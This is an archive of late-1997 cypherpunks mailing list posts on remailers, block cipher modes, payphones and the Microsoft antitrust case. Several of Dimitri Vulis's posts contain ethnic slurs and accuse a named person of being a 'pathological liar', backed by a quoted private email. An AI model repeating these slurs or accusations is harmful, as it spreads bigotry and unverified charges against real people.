In-Reply-To: <199712202049.VAA13608@basement.replay.com>
Message-ID: <7yP2He31w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



nobody@REPLAY.COM (Anonymous) writes:

> > Remember how Sameer Parekh's C2Net used to try to peddle a "privacy ISP"
> > because he failed miserable and diversified into peddiling shitty software
> > and making idiotic legal threats? He happily pulled plugs bases on content,
> > while at the same time stating in court papers that he doesn't censor conte
> > What a pathological liar.
> I suppose you can back up your claim with documentation.
> What court document are you referring as evidence that Sameer Parekh is a
> pathological liar?

I refer, inter alia, to the smelly Arab pulling the plug on netscum@c2.net back
when c2 peddling "privacy". The following is from Parekh's own net.scum page:

]Sameer Parekh, sameer@c2.net, pulled the plug on the Net.Scum pages because
]he did not like their content. At about the same time Sameer was sued by the
]Software Publishers Association because his computer was being used by
]his friends to distribute pirated software. Sameer claimed in court papers
]that he exercises no control over his users' contents. He clearly lied:
]
]>From sameer Thu Oct 24 10: 34:59 1996
]>Received: (from sameer@localhost) by blacklodge.c2.net (8.7.6/8.7.3) id
]>KAA05716; Thu, 24 Oct 1996 10:34:58 -0700 (PDT)
]>From: sameer <sameer@c2.net>
]>Message-Id: <199610241734.KAA05716@blacklodge.c2.net>
]>Subject: Re: www.c2.net/~netscum/mayt0.html
]>To: netscum@c2.net
]>Date: Thu, 24 Oct 1996 10:34:58 -0700 (PDT)
]>Cc: sameer@c2.net
]>In-Reply-To: <3279b6dd.124287235@mail.c2.net> from "netscum@c2.net" at "Oct
]> 24, 96 00:26:22 am"
]>X-Mailer: ELM [version 2.4ME+ PL22 (25)]
]>MIME-Version: 1.0
]>Content-Type: text/plain; charset=3DUS-ASCII
]>Content-Transfer-Encoding: 7bit
]>
]>	I'm sorry. If you don't remove the illegal web pages we're
]>going to be forced to shut off your account.
]>
]>> Dear Sameer,
]>>
]>> What was reported to you was mistaken.  The referenced page contains no
]>> libel, and all the claims therein are factually correct and can be proved
]>> easily by browing public documents in DejaNews and AltaVista.
]>>
]>> Good luck in your SPA lawsuit!!
]>>
]>>
]>> On Wed, 23 Oct 1996 12:41:53 -0700 (PDT), sameer <sameer@c2.net> posted:
]>>
]>> >  	The URL in the subject (http://www.c2.net/~netscum/mayt0.html)
]>> >  was reported to us as illegal libel. Please note that our policies
]>> >  forbid any illegal activity on the site. Please remove this page as
]>> >  soon as possible. Thank you.
]>> >
]>> >  --
]>> >  Sameer Parekh					Voice:
]>> 510-986-8770
]>> >  C2Net						FAX:
]>> 510-986-8777
]>> >  The Internet Privacy Provider
]>> >  http://www.c2.net/				sameer@c2.net
]>> >
]>>
]>
]>
]>--
]>Sameer Parekh					Voice:   510-986-8770
]>C2Net						FAX:     510-986-8777
]>The Internet Privacy Provider
]>http://www.c2.net/				sameer@c2.net

Note that Parekh pulled netscum's plug in October, 1996, because he didn't
like the contents of a web page critical of Timmy C. May,

If you review the Cyperpunks archives from that time, you will see that
Parekh was being sued by the Software Publishers Association, was whining all
over the mailing list and asking for "petitions" in his defense, and was
claiming that he exercises no control over the content on C2net.

Is that proof enough for you that the smelly Arab is a pathological liar?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Costner" <pooh@efga.org>
Date: Sun, 21 Dec 1997 14:19:45 +0800
To: cypherpunks@toad.com
Subject: Re: Hate speech and censorship
In-Reply-To: <199712200621.HAA13824@basement.replay.com>
Message-ID: <3.0.3.32.19971221010751.0365d2c0@mail.atl.bellsouth.net>
MIME-Version: 1.0
Content-Type: text/plain



At 10:58 AM 12/20/97 EST, Dr.Dimitri Vulis KOTM wrote:
>I also wouldn't trust Lance Cottrell.  He's selling privacy for the $$, not
>for the ideology; he'll bend over the moment he thinks there's more $$ in
>bending over, which is usually the case.

It's nice to give away privacy for free.  Free turkey dinners at
Thanksgiving are nice as well.  But someone has to foot the bill.  Perhaps
with a Thanksgiving dinner everyone thanks you.  Of the many remailer
related phone calls I received, none of them had a "thank you" in them.
More of the "I'm calling the police, FBI, my lawyer, my friends, the Better
Business Bureau, the Attorney General, a higher up, and the SPA.  blah,
blah, blah..."

It costs money to run a remailer.  When we recently asked for $2,000 in
donations to improve the Cracker remailer, we received about $800 over two
month period.  Just as there are free ISPs, and public access ISPs like
Seattle Community Network and Virtually Wired, there are free remailers.
But this is not the business model most ISPs enjoy.  Perhaps Lance Cottrell
has come across the proper business model for running a remailer.  Have the
users pay for it.

The Cracker remailer operates mainly off of money I pulled out of my
pocket.  And I'm not really a user, or the person who runs it.  We had some
donations of course, and we've had other inkind donations, like free legal
services.  I'm still waiting to see a lawsuit on Cracker, or the police to
show up with a warrant.

I think it's great that Lance Cottrell has people pay to use his remailer.
I wish another fifty companies would spring up and do the same.  Doing it
for ideology is nice, but the phone company, nor the backbone companies, or
others really seem to like payments in ideology.  They seem to want a
legible signature on a check.


  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh@efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <nobody@bureau42.ml.org>
Date: Sun, 21 Dec 1997 11:15:49 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Automatic Translations
Message-ID: <FNzXjwD5x7YNFH2zvoTidg==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



Just out of curiosity I ran a paragraph of one of Bob H's wordy
pieces through a few translations and, son of a bitch! if it didn't become clearer!

"The similarities are still the small for the things as
hashcash or or to a larger MicroMint. As modernities,
which are applicable in meatspace, it is economic 'the
expensive Minze' first modernity the gift of the electrical
noises, but the remainder vanishingly. Although it it, which
it would estimate in the value, which something is left,
without regulation to it says the duration of the loop to this.
It is, because the alternative of the costs of everything
occurs inflamed to inside and this of. If the right of the
value is not only repaired to the useful articles, qualcun
another and Arbitraging in the whole case begins. Scalpers
the card is a traditional example of this. The sources of the
trade to the resistance press it ulteriorly, in the height
production, qualcun another, I, appear out."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Sun, 21 Dec 1997 17:15:36 +0800
To: Joichi Ito <jito@eccosys.com>
Subject: Re: Is Anonymous Communication only for "Criminals"? (was: Re: UCENET II and Peter duh Silva)
In-Reply-To: <199712210732.QAA12422@eccosys.com>
Message-ID: <199712210911.EAA21585@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199712210732.QAA12422@eccosys.com>, on 12/21/97 
   at 04:32 PM, Joichi Ito <jito@eccosys.com> said:

>At 10:36 97/12/20 -0500, Rabid Wombat wrote:

>> More like simple economics; after the breakup, a lot of pay phones were 
>> operated by companies specializing in this type of service. Pay phones 
>> are high maintenance, and their operators can only turn a profit by 
>> charging very high rates; if you make a quick call and ask the other 
>> party to call you back at the pay phone, the pay phone operator doesn't 
>> make much money.
>> 
>> Can you site any legislation barring pay phones from receiving calls? I'd 
>> think that most pay phone operators would be glad to deny incomming calls 
>> if they were allowed to (as they often are), and wouldn't need to be forced.

>Can't a pay phone operator get paid a portion of incoming calls as well?
>If they can set outgoing rates to be very high, couldn't they set their
>incoming rates as well? (This is not an opinion, but a question.) I do
>know that depending on the arrangement, phone companies either carry all
>incoming call for free or cross bill incoming minutes to each other.

Currently I believe that pay phones are treated like any other phone
number for incoming calls and billing to the customer (what money exchanes
hands between telco's is another thing). While it would be possible for
the telco to charge an inflated rate for calls to a pay phone some
mechanism would need to be in place to inform the caller that it was a
toll call (all payphones had a 999 area code as an example).

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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Version: 2.6.3a-sha1
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ghio@temp0181.myriad.ml.org (Matthew Ghio)
Date: Sun, 21 Dec 1997 20:11:17 +0800
To: Remailer Operators <cypherpunks@Algebra.COM>
Subject: Re: m2n@alpha.jpunix.com is down
In-Reply-To: <Pine.BSF.3.96.971217055444.10637C-100000@alpha>
Message-ID: <199712211207.HAA25694@myriad>
MIME-Version: 1.0
Content-Type: text/plain



John Perry wrote:
> 	Now that I've posted that operating a mail2news gateway is a
> minimal effort, the m2n at jpunix.com has been under a steady spam attack
> for the past 72 hours. I fought it all day yesterday and came in this
> morning to find that the spammer had just moved to a different ISP and
> started spamming again.

Yep, I am getting it now too, relayed thru pilot17.cl.msu.edu [35.9.5.27]
which I am now refusing SMTP connections from.  He spammed nym.alias.net
also.  What an asshole.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 21 Dec 1997 23:31:07 +0800
To: cypherpunks@toad.com
Subject: Re: Is Anonymous Communication only for "Criminals"? (was: Re: UCENET II and Pet
In-Reply-To: <Pine.BSF.3.91.971220102724.24864D-100000@mcfeely.bsfs.org>
Message-ID: <FTg3He34w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Rabid Wombat <wombat@mcfeely.bsfs.org> writes:

> > 	War on (some) Drugs...  they don't want to, they have been asked to...
> >
> > 	Most payphones can no longer receive calls because of this as
> > well, and there are far fewer of them around in certain areas than there
> > used to be ...
>
> More like simple economics; after the breakup, a lot of pay phones were
> operated by companies specializing in this type of service. Pay phones
> are high maintenance, and their operators can only turn a profit by
> charging very high rates; if you make a quick call and ask the other
> party to call you back at the pay phone, the pay phone operator doesn't
> make much money.

That's a very accurate analysis, and that's precisely what's been happening
in NYC, where a lot of pay phones are owned by small businesses now. They
also want to either block the 800 numbers, or charge for calling them
from their pay phone.

Of course they'd feel differently if there was some way to pay for receiving
calls there... :-)

> Can you site any legislation barring pay phones from receiving calls? I'd
> think that most pay phone operators would be glad to deny incomming calls
> if they were allowed to (as they often are), and wouldn't need to be forced.

This is a comp.telcom question, but to the best of my knowledge, no, and
it has little to do with the war on (some) drugs.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 22 Dec 1997 02:39:29 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Why I Support Microsoft
In-Reply-To: <3.0.3.32.19971219170957.0300f6f0@earthlink.net>
Message-ID: <v0310280db0c2f8195048@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



Over the years I've sometimes joined in on the jokes about Microsoft and
Bill Gates...the jokes about the Borg, assimilation, and the habits of
Gates. And I've lately really enjoyed the "Saturday Night Live" skits
involving Bill Gates interrupting the Pope to announce that Microsoft has
merged with Christmas, and so on.

As a longtime Macintosh user, and only occasional user of MS products, it's
mostly of entertainment value to me to see what MS is doing.

(Caveat: I used Microsoft Basic on Intel MDS systems (8080-based), circa
1977-78, bought a PC in the early 80s, bought "Microsoft Word" Version 1.00
when most people were buying Samna Word, Wordstar, and other such vanished
products, and even bought the execrable, terrible, crufty, horrible
"Windows 1.0" when it first came out, circa 1984. And for my Macintosh, I
bought Microsoft Word 1.05 and used it for many years in various versions.
I currently use no Microsoft products on a daily basis.)

Anyway, the recent government actions against Microsoft are reprehensible
to any person who values liberty. Microsoft is being punished for its
success.

The appearance of Ralph Nader, Jamie Love, and executives of Netscape (who
are miffed that _their_ attempted monopoly is being threatened by MS!), in
the (ironic) "Microsoft Bash," along with opportunistic actions by various
states' attorney generals, and with judges imposing million dollar a day
fines.....

Well, it's all a familiar pattern. I hate to say it, but read parts of
"Atlas Shrugged" to see this piling on, this "taking down the successful a
few notches" behavior.

Attila T. Hun is, for some reason, bashing MS a lot. I'll use one of his
posts to make some specific points:


At 10:15 AM -0700 12/21/97, Attila T. Hun wrote:

>> WASHINGTON (Reuters) - A federal judge Friday told Microsoft
>> Corp.  he easily uninstalled the company's Web browser
>> without breaking Windows 95 and ordered company officials to
>> explain why they could not do the same.  "Windows 95
>> functioned flawlessly" with Internet Explorer uninstalled,
>> U.S.  District Judge Thomas Penfield Jackson told Microsoft.
>>
>    mistake #1: dont piss off a federal judge --let alone
>    try to show that he is ignorant.

PC makers like Compaq, Dell, Gateway, etc., are in fact perfectly free to
bundle Netscape Navigator (or whatever the Do Everything version is called)
with their systems. Microsoft is then perfectly free, in a free society, to
say "Fine, then don't put Windows on your machines."

Right?

Customers can then make their choices. Or can buy Windows in the nearest
software store. The way it used to be done.

Yielding to pressure from the court, MS is now allowing PC makers to also
include Netscape Navigator. Well, none have yet elected to do so...quite
probably because Netscape is _charging_ for this, and MS is not.

(To Ralph Nader, and perhaps even to Attila, that MS is _giving_ away its
browser, free for the download and free to the PC vendors, is itself a
crime.)

...
>    this is my one big fear: the DOJ will accept a plea
>    bargain like they did last time and it will be back
>    to business as usual for M$ --and they will be back in
>    court within a year having gained even more horizontal
>    and vertical control of the entire communications
>    and information industries --and claiming again that
>    they are misunderstood --and complying with the order,
>    etc.

Customers are voting with their pocketbooks. They like the MS offerings
more than they like the competing offerings...of which there are still many.

(Macintosh, Unix in several flavors (incl Linux), and loyal followings for
older OSes. Sun and Oracle and others are pushing for Java-based systems to
obsolete the MS products. This is a major struggle which analyses about
Microsoft's "domination" seem to ignore.)

>
>    there is only one solution to organizations like M$
>    which are operated without ethics: treat them to the
>    pleasures of not only the antitrust laws but the
>    exquisite delights of RICO.

I cannot understand how Attila can so enthusiastically support this. His
"exquisite delights" even recalls Torquemada and the Inquistion. A suitable
term for what is being to MS, in my view.

>    M$ is a cancer; it has fully metasticized and is gorging
>    itself at the banquet of the vanquished.

Ralph Nader would probably be interested in hiring ATH as a speech writer.

....
>    anyway, just think where M$ would be with Royce today!
>    Gate$ and Ballmer might be down at the local MCC for a
>    few free 3 hots and a cot, all expenses paid, "enjoying"
>    a well earned vacation from screwing all of us.

I take it that ATH means that because something like 20 or 30 million
Americans chose to buy Windows 95 (and thus gain the benefits we Macintosh
users have had for many years :-}) that this means "we" were screwed?


>    Other than the usual ills of a monopoly, what really
>    irks anyone with a modicum of intelligence is that Gate$
>    intends to migrate the entire package for the benefit of
>    the couch potatoes; Gate$ intends to dictate not only
>    what we use to view his trash, but that only his trash
>    is splashed.

Why not pick on Intel? Intel is, if anything, even more of a "monopoly"
than MS is. While customers have some reasonable choices in OSes
(Windows/NT, Unix, Linux, Macintosh, AmigaOS, Inferno, Java-based
developments, etc.), the fact is that all of the surviving OSes are being
ported to the Intel platform (pace recent announcements by Sun that Solaris
will be on  Merced at its rollout in 1999, and earlier announcements by
H-P, DEC, and IBM along the same lines).

But neither MS nor Intel are "monopolies." They are just the People's
Choice. Which always tends to cluster...the big really do get bigger. For
awhile, at least, until the paradigm shifts and the big can't adapt quickly
enough.

Of the 10 biggest chip makers in 1970, all are distant seconds to Intel,
the world's largest producer of chips, in dollar amount. (And in total
square meters of silicon output.)


....
>> After the hearing Friday, Christine Varney, a former Federal
>> Trade Commissioner now representing Netscape, was jubilant.
>> "I think the judge has understood the seriousness of the
>> issue," she said.
>>
>    she had every reason to be jubilant --so far. even if
>    the judge did not fully understand the technological
>    bullshit M$ was trying to slide on by, the judge fully
>    understands that M$ was trying to blind pitch him --and
>    insulting him to boot.

Of _course_ she's jubilant! Netscape wants its "rightfully-earned monopoly"
back! Has anyone forgotten that in 1995 it was looking like Netscape would
be on 95% of all desktops, Windows, Mac, and Unix, and that it was turning
into the Big Bad Monopoly? Are memories really that short?

Netscape has been using its legal manouvers to attempt to stop Microsoft
from horning in on _its_ monopoly.

(I hate using the term "monopoly," but if critics of MS are going to use
it, hey, when in Rome....)


>> Microsoft stock closed at $128.69, down $2.19 on NASDAQ,
>> where it was among the most active issues.

>    yes, down almost 20 points since their fiasco with the
>    DOJ started. before it's over, I hope to see M$ listed
>    with the junk bonds and issues --in the penny stocks.
>

Yep, sort of the way Netscape stock went from its IPO price of around $25
(in today's shares) to $80 when it looked like Netscape Navigator and
related products were going to be the Next Big Monopoly....and then
plummeted down to the $30-40 range as it appeared this was not the way
things were going to turn out....

Netscape stock is currently at $27 3/4, just about where it began trading
in '95.

Even so, Navigator remains popular on many platforms. Microsoft Explorer is
by no means a monopoly.

And MS announced a long time ago, in '95 if I recall correctly, that the
Web was such a big deal (let us not forget that some were saying Gates had
missed the boat on the Web and MS would falter) that the URL addressing
scheme would be _built in_ to future versions of its OS so as to make Web
browsing and file browsing identical, and to facillitate intranets. "One
big file system."

Like this or not, it makes a certain amount of sense.

Ah, but now we face the spectacle of a judge or panel of Nader-pandering
bureaucrats telling Microsoft what features it will be allowed to include
in its operating system.

Perhaps the graphics chip companies facing extinction as Intel puts massive
graphics capabilities into new chips can sue on antitrust grounds and get a
"special master" to dictate to Intel what features it may put into chips?

(Certainly the long-departed Weitek might have survived a few more years
had Ralph Nader turned his unsafe at any speed attention to the floating
point processing market and gotten an injunction against Intel putting
onboard floating point instructions into the 486.)

I cannot understand how any Cypherpunk can be advocating interference in
the market the way Attila and a few others are doing.

Making jokes about Bill Gates is one thing, just harmless fun. But
advocating the Men with Guns (TM) seize control of the products he offers
to uncoerced customers is simply wrong.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Richard Crisp <crisp@rambus.com>
Date: Mon, 22 Dec 1997 03:23:05 +0800
To: "Attila T. Hun" <attila@hun.org>
Subject: Re: true in the near term: "Why M$ has won" (I@week)
In-Reply-To: <19971217.143950.attila@hun.org>
Message-ID: <349D62C7.3080@rambus.com>
MIME-Version: 1.0
Content-Type: text/plain



Of course one point that most people seem to overlook (conveniently for
their arguments perhaps) is that when comparisons are being drawn
between Microsoft and prior trust busting such as IBM, Standard Oil etc,
is that in the case of Microsoft, the consumer is getting more for less
money. Not so with IBM or Standard Oil or the ridiculous comparison I
read in today's Mercury News about the village peddler that says "if you
want to buy my butter you have to buy my eggs". A more accurate
comparison would be "free eggs if you buy butter".

Last time I checked, IE is free. You pay for Win9x but get the IE
without paying a penny more.

In my case, I just ignore IE and install Netscape which I prefer.

I guess the IE takes up some disk space, but since disks are so cheap
now, I simply don't worry about any of that.

In the meantime all I hear is a lot of belly aching by Microsoft
wannabes.

The Microsoft wannabes remind me a lot of Micron Technology. Micron
complains about the Taiwanese and Koreans selling DRAMs and SRAMs in the
us below their manufacturing cost. But when I go to Taiwan (monthly) I
hear that the guys bombing the price of DRAM are none other than Micron. 

Appleton (Micron's CEO) raised holy hell about the Korean bailout,
citing the issue that our tax dollars are used to prop up his
competitors. Well I have news for Appleton: the fact is that the low
price of DRAM and SRAM is good for American industry as a whole, and who
the hell cares if Micron is suffering, if Compaq, Dell, Gateway, Sun,
IBM, HP, SGI, etc all can sell a better box for less money using cheap
DRAM?

Like Micron, the Netscapes, Suns, Oracles etc of the world want to use
the courts to solve a problem that stems from the fundamental fact that
they simply cannot get their act together enough to be competitive in
the market.
rdc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bruce Schneier <schneier@counterpane.com>
Date: Mon, 22 Dec 1997 01:41:28 +0800
To: Anonymous <cypherpunks@Algebra.COM
Subject: Re: ECB, CBC, CFB, OFB
In-Reply-To: <199712202235.XAA24669@basement.replay.com>
Message-ID: <v03007809b0c3053590f8@[209.98.15.113]>
MIME-Version: 1.0
Content-Type: text/plain



At 4:35 PM -0600 12/20/97, Anonymous wrote:
>Can somebody more experienced than I am explain the strengths and weaknesses
>of these encryption modes as applied to CAST, IDEA, DES, and Blowfish?
>
>>       -m mode
>>              Set the transfer mode.
>>
>>              Valid ENCRYPTION modes are:
>>
>>              ecb    Electronic codebook mode
>>                     c[i] = f1(K, p[i])
>>                     p[i] = f2(K, c[i])
>>
>>              cbc    Ciphertext block chaining mode
>>                     c[i] = f1(K, p[i] ^ c[i-1])
>>                     p[i] = f2(K, c[i]) ^ c[i-1]
>>
>>              cfb    Ciphertext feeback mode
>>                     c[i] = f1(K, c[i-1]) ^ p[i]
>>                     p[i] = f2(K, c[i-1]) ^ c[i]
>>
>>              ofb    Output feeback mode
>>                     h[i] = f1(K, h[i-1])
>>                     c[i] = p[i] ^ h[i]
>>                     p[i] = c[i] ^ h[i]

There is a pretty good explanation of the various block cipher modes in
Applied Cryptography.

Bruce

**********************************************************************
Bruce Schneier, President, Counterpane Systems     Phone: 612-823-1098
101 E Minnehaha Parkway, Minneapolis,MN  55419       Fax: 612-823-1590
                                            http://www.counterpane.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <bill.stewart@pobox.com>
Date: Mon, 22 Dec 1997 04:03:20 +0800
To: "Attila T. Hun" <cypherpunks@cyberpass.net>
Subject: Re: Making them eat their words... (while they watch!)
In-Reply-To: <3.0.3.32.19971219170957.0300f6f0@earthlink.net>
Message-ID: <3.0.3.32.19971221115654.00697eb4@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 05:15 PM 12/21/1997 +0000, Attila T. Hun wrote:
>    there is only one solution to organizations like M$ 
>    which are operated without ethics: treat them to the
>    pleasures of not only the antitrust laws but the 
>    exquisite delights of RICO.

Nonsense, and I'm surprised to hear this from you.
Treat them to the pleasures of the free market -
if you don't like them, start a Boycott M$ campaign,
and see if people stop buying their lousy software.
The direct democracy of the free market is far more 
appropriate than government here - it's $1/vote, 
and if enough people vote against M$ they'll get the hint, 
and it enough people vote _for_ M$, it's none of your business.

It _is_ funny to see the Feds hiring a big corporate lawyer
to run their case; I guess they don't think Federal Prosecutors
are good enough.  Surely if a low-level prosecutor can't hack it,
they should use their boss, and on up the hierarchical chain.
If Janet Reno can't do it either, they should replace her with
someone who can :-) 
				Thanks! 
					Bill
Bill Stewart, bill.stewart@pobox.com
PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 22 Dec 1997 05:20:10 +0800
To: John Young <cypherpunks@cyberpass.net
Subject: Re: Why I Support Microsoft
In-Reply-To: <1.5.4.32.19971221205217.00741904@pop.pipeline.com>
Message-ID: <v0310280eb0c3277a71ce@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 1:52 PM -0700 12/21/97, John Young wrote:
>The NYT reports today on the MS-DoJ case and notes that
>Microsoft has opposed the administration on several
>issues -- one being encryption -- which have captured the
>attention of publicity-seeking legislators as well.
>
>Another NYT report is on Microsoft's past neglect of major
>lobbying of the government and bigtime contribution to PACs,
>in contrast to other industrial giants, and that MS it is fast coming
>around on both counts now, with big bucks being poured into
>DC coffers of PR firms. (Could this beneficence be the incentive
>of $ieger and $habbar?)

It sure looks like Microsoft's "crime" is really that if failed to make
enough of the right campaign contributions. Perhaps it needs to hire
Charlie Trei to funnel some MS-bucks into the DNC coffers (and RNC coffers,
to cover both sides of the bet).

America as an extortion state. No suprise there.

By the way, in the last Clinton election, some Silicon Valley companies
were lavish in their support of the Democrats and Clinton. Among them,
Netscape and Apple.

Giving Clinton the cold shoulder was Intel. (Having worked for Craig
Barrett and Andy Grove, I can tell you that they despise the Democrats.)

Though not on the radar screen quite yet, I expect the real action will be
targetted against Intel. Particularly if it looks like the Merced will
effectively displace all mainframe and business-sized CPUs.


>The report notes that Microsoft is for the first time beginning to
>consider that it cannot continue to grow without coming to
>terms with the USG, the lesson all the giants have learned so
>well and are happy to see Bill Gates cut down to fit the mold.
>
>Now, was it not the case that not too long ago Microsoft was
>allegedly funding the strong crypto bills? And is a plea bargain
>in the works for MS sentence of worldwide GAK in Explorer?

I made a similar _speculative_ comment, a question, really, back in the
summer of 1993 (either that or the summer of '94...I'd have to check the
archives), when some comments came out of MS about their reasons for
agreeing to a kind of software key escrow.

(Tom Albertson, a paralegal for MS then, sent me a note alluding to some
kind of agreement...inasmuch as MS had made no public comments on SKE, this
seemed to be a sub rosa deal.)

I asked at that time if MS was not being pressured to sign the consent
decree and was not perhaps using support for SKE--then being pushed to
companies by NSA/NIST forces--as a way to buy some breathing room.

Certainly Bill Gates has spoken out forcefully against key escrow, so maybe
this explains the current hostility toward MS. Or part of it.

MS just isn't playing the game...they're not kicking in enough tribute to
the pols, and not playing ball on crypto.

--Tim May



The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 22 Dec 1997 04:27:46 +0800
To: cypherpunks@toad.com
Subject: Re: Why I Support Microsoft
In-Reply-To: <v0310280db0c2f8195048@[207.167.93.63]>
Message-ID: <VPs3He43w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May <tcmay@got.net> writes:

> (Caveat: I used Microsoft Basic on Intel MDS systems (8080-based), circa
> 1977-78, bought a PC in the early 80s, bought "Microsoft Word" Version 1.00
> when most people were buying Samna Word, Wordstar, and other such vanished
> products, and even bought the execrable, terrible, crufty, horrible
> "Windows 1.0" when it first came out, circa 1984. And for my Macintosh, I
> bought Microsoft Word 1.05 and used it for many years in various versions.
> I currently use no Microsoft products on a daily basis.)

I remember MS Word 1.0 for MS DOS.  It was the first crude WYSYWYG on the CGA:
it displayed primitive boldface and italics on screen, unlike most other
word processors of that era that mostly used markup languages.

I used Windows .9beta quite heavily and even wrote some primitive GUI hacks
using the SDK. One of them was a front-end to a DES encoder/decoder. It has 3
areas for entering a key: as text, as hex, and as binary; updating one area
immediately updated the other 2. That was circa 83 or even 82. Of course all
the APIs are different under newer windows. Anybody cares to see it?

Of course, Windows 1.x and 2.x were a miserable failure in the marketplace
because the requisite hardware wasn't there yet. So was VisiOn, but Windows had
bill gates support. 3.0 was moderately successful; 3.1 was actually profitable.
Microsoft lost a lot of bets before this product line finally took off.
Microsoft spent a lots of money on the "Bob" project which was a complete
failure.

I also got OS/2 1.0 from Microsoft in 1988, together with the Microsoft/Ahton
Tate SQL server (based on Sybases's). SYBS stupidly sold their pricey
product to microsoft, figuring the micro market would never be of use to SYBS.

Microsoft then decided to pull the rug from under its OS/2 users, so I
switched to IBM OS/2.

> The appearance of Ralph Nader, Jamie Love, and executives of Netscape (who
> are miffed that _their_ attempted monopoly is being threatened by MS!), in
> the (ironic) "Microsoft Bash," along with opportunistic actions by various
> states' attorney generals, and with judges imposing million dollar a day
> fines.....
>
> Well, it's all a familiar pattern. I hate to say it, but read parts of
> "Atlas Shrugged" to see this piling on, this "taking down the successful a
> few notches" behavior.

I hate to admit it, but I agree with Timmy on this one.

> Attila T. Hun is, for some reason, bashing MS a lot. I'll use one of his
> posts to make some specific points:

If Hitler gasses Goebbels, would you object?

> At 10:15 AM -0700 12/21/97, Attila T. Hun wrote:
>
> >> WASHINGTON (Reuters) - A federal judge Friday told Microsoft
> >> Corp.  he easily uninstalled the company's Web browser
> >> without breaking Windows 95 and ordered company officials to
> >> explain why they could not do the same.  "Windows 95
> >> functioned flawlessly" with Internet Explorer uninstalled,
> >> U.S.  District Judge Thomas Penfield Jackson told Microsoft.
> >>
> >    mistake #1: dont piss off a federal judge --let alone
> >    try to show that he is ignorant.

If IE does include some important bug fixes for the OS (like MS Office does),
then Microsoft ought to make these patches available as OS patches and not
bundle them with other products. "Ought to" doesn't mean it's illegal for them
to only bundle...

> PC makers like Compaq, Dell, Gateway, etc., are in fact perfectly free to
> bundle Netscape Navigator (or whatever the Do Everything version is called)
> with their systems. Microsoft is then perfectly free, in a free society, to
> say "Fine, then don't put Windows on your machines."

Ah, but they'd rather sell their hardware with a bunch of pre-installed
software, and charge the poor consumer for it. If you buy an IBM Thinkpad, they
refuse to sell it without Windows 95 preinstalled, and America Online software
(probably charged for it), and a bunch of Lotus software (123, some
wordprocess, etc); even if the first thing you intend to do is to reformat the
hard disk and instal Linux.

In an ideal world, MSFT would be free to refuse to sell its OS to hardware
makers because they're owned by gooks; to demand that the hardware makers pay
MSFT a licence fee for every piece of hardware they sell, whether or not they
included Win95 with it; and to insist that the hardware makers include a big
disclaimer saying they don't support Netscape products as a condition for
getting an MSFT licence. But we're not living in a free country.

> Customers can then make their choices. Or can buy Windows in the nearest
> software store. The way it used to be done.

They refuse to sell "bare hardware" because they get part of the profit on
selling it with the software pre-installed: typically not just the OS, but a
bunch of useless apps that most users never use.

Likewise try to buy a scanner without a bundled useless Windows software that's
"supposed" to go with a scanner; or a color printer without bundled
finger-painting software for Windows; or a modem without bundled
"communications software" (which almost always includes a Netscape browser).
You can't avoid paying for the media and the license to this useless shit.

> Yielding to pressure from the court, MS is now allowing PC makers to also
